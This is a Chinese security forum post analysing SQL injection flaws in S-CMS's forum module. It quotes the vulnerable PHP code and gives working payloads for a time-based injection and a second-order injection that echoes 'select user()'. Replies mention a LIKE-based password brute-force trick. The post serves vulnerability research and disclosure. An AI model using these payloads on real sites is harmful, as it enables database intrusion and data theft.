用户
搜索
  • TA的每日心情

    2019-1-19 17:01
  • 签到天数: 165 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    Ashe

    Rank: 7Rank: 7Rank: 7

    17

    主题

    183

    帖子

    2651

    魔法币
    收听
    1
    粉丝
    2
    注册时间
    2016-11-9

    i春秋签约作者春秋游侠春秋文阁

    发表于 2018-12-17 12:42:33 98919

    0x01 前言

    继上一篇的S-CMS漏洞再来一波!
    首发T00ls

    0x2 目录

    Sql注入
    二次SQL注入

    0x03 Sql注入

    漏洞文件:\scms\bbs\bbs.php

    $action=$_GET["action"];
    $S_id=$_GET["S_id"];
    if($action=="add"){
    $B_title=htmlspecialchars($_POST["B_title"]);
    $B_sort=$_POST["B_sort"];
    $B_content=htmlspecialchars($_POST["B_content"]);
    $S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");
    if($S_sh==1){
    $B_sh=0;
    }else{
    $B_sh=1;
    }
    $debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
    mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
    $sql="Select * from SL_bbs order by B_id desc limit 1";
    $result = mysqli_query($conn, $sql);
    $row = mysqli_fetch_assoc($result);
        if (mysqli_num_rows($result) > 0) {
            $B_id=$row["B_id"];
        }

    相对来说这个注入比较简单,$B_sort 无过滤直接从POST获取,然而在SELECT查询的时候使用了intval函数来过滤变量。不过后面在insert的时候却没有任何过滤(无单引号包含)导致sql注入。

    漏洞验证:
    —Payload:
    ——http://127.0.0.1/scms/bbs/bbs.php?action=add
    ——B_title=test&B_content=test11&B_sort=1 and sleep(5)

    $debug调试信息:
    Insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('test','test11','2018-12-08 14:21:25',17,1 and sleep(5),0)

    0x04 二次注入

    漏洞文件:
    \scms\bbs\bbs.php
    \scms\bbs\item.php

    先看一下漏洞触发点:

    $sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
        $result = mysqli_query($conn, $sql);
    $row = mysqli_fetch_assoc($result);
        if (mysqli_num_rows($result) > 0) {
        $B_title=lang($row["B_title"]);
        $B_content=lang($row["B_content"]);
        $B_time=$row["B_time"];
        $B_sort=$row["B_sort"];
        $S_title=lang($row["S_title"]);
        $B_view=$row["B_view"];
        $M_login=$row["M_login"];
        $M_pic=$row["M_pic"];
        $L_title=$row["L_title"];
        }
    if(substr($M_pic,0,4)!="http"){
    $M_pic="../media/".$M_pic;
    }
    $sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id;
    
    $result2 = mysqli_query($conn, $sql2);
    $row2 = mysqli_fetch_assoc($result2);
    $B_count=$row2["B_count"];
    if($action=="reply"){
    $B_contentx=$_POST["B_content"];
    $debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
    mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
    box("回复成功!","item.php?id=".$id,"success");
    }

    简单说一下逻辑,第一步执行的sql语句是查询帖子的详细内容($id帖子id)
    $sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
    然后把查询到的内容各自赋给一个变量

        $B_title=lang($row["B_title"]);
        $B_content=lang($row["B_content"]);
        $B_time=$row["B_time"];
        $B_sort=$row["B_sort"];
    ..............................

    到后面判断$action=="reply",进入回复帖子功能处

    if($action=="reply"){
    $B_contentx=$_POST["B_content"];
    $debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
    mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
    box("回复成功!","item.php?id=".$id,"success");
    }

    可以看到$B_contentx=$_POST["B_content"]无过滤,这里会触发储存xss漏洞。然而这个不是重点,继续看执行的insert语句,发现$B_title等变量都拼接了进来,没有sql过滤,而这些变量是从数据库查询出来的(帖子的标题等),然而回过头去看上面的sql注入,不就是发帖功能的地方么。所以这些变量可控,导致二次sql注入。

    漏洞触发流程:
    —首先我们去发帖B_title的值是我们的payload,还有其他的值
    ——B_title=',(select user()),'',1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1
    —然后我们去获取帖子id,这个没有特别好的办法只能去摸索着找,可以先根据楼层判断一共有多少帖子,然后一点一点的往后找,根据内容判断是否是我们发布的帖子
    ——http://127.0.0.1//scms/bbs/item.php?id=帖子id
    —获取到帖子后去触发漏洞
    ——http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id
    ——B_content=test
    —这里我说一下payload为什么是这样的,这样构造完全是为了达到回显注入,因为后面打印回复内容的时候执行的sql注入是
    ——$sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";
    —而B_sub可控(在Insert的时候插入的),这样我们就能直接获取回显。

    漏洞演示:
    —Payload1
    ——127.0.0.1/scms/bbs/bbs.php?action=add
    ——B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1

    —Payload2
    ——获取帖子id
    ——http://127.0.0.1//scms/bbs/item.php?id=30

    —Payload3
    ——http://127.0.0.1//scms/bbs/item.php?action=reply&id=30
    ——B_content=test

    执行完成!最后我们就可以去访问我们的回复然后拿到回显。
    http://127.0.0.1//scms/bbs/item.php?id=666
    这次id参数指向的是我们填的B_sub值

    0x05 结束语

    之前建的群由于某些原因解散了,说声抱歉!

    用代码将梦想照进现实!
    发表于 2018-12-18 18:12:37
    二次注入不错
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    发表于 2018-12-19 16:50:01
    二次注入,在实际中能遇到很多吗?
    使用道具 举报 回复
    发表于 2018-12-19 16:56:34
    Y毒狼 发表于 2018-12-19 08:50
    二次注入,在实际中能遇到很多吗?

    基本很少会遇到。
    用代码将梦想照进现实!
    使用道具 举报 回复
    发表于 2018-12-19 17:21:42
    AShe 发表于 2018-12-19 16:56
    基本很少会遇到。

    谢谢回复哈!
    使用道具 举报 回复
    发表于 2018-12-19 21:25:26

    啧! 小伙子你这搞得我很尴尬的!我这小弱鸡,膜拜大佬!
    用代码将梦想照进现实!
    使用道具 举报 回复
    发表于 2018-12-23 01:15:49
    本帖最后由 won_s 于 2018-12-23 01:20 编辑

    他的登陆挺有意思的用的like,用%然后就可以爆破密码了
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发表于 2018-12-24 17:54:06
    666666666666666666666666666666666666666666666
    使用道具 举报 回复
    发表于 2018-12-25 15:58:07
    won_s 发表于 2018-12-22 17:15
    他的登陆挺有意思的用的like,用%然后就可以爆破密码了

    优秀啊老哥,没注意看这里回头去看一下!
    用代码将梦想照进现实!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册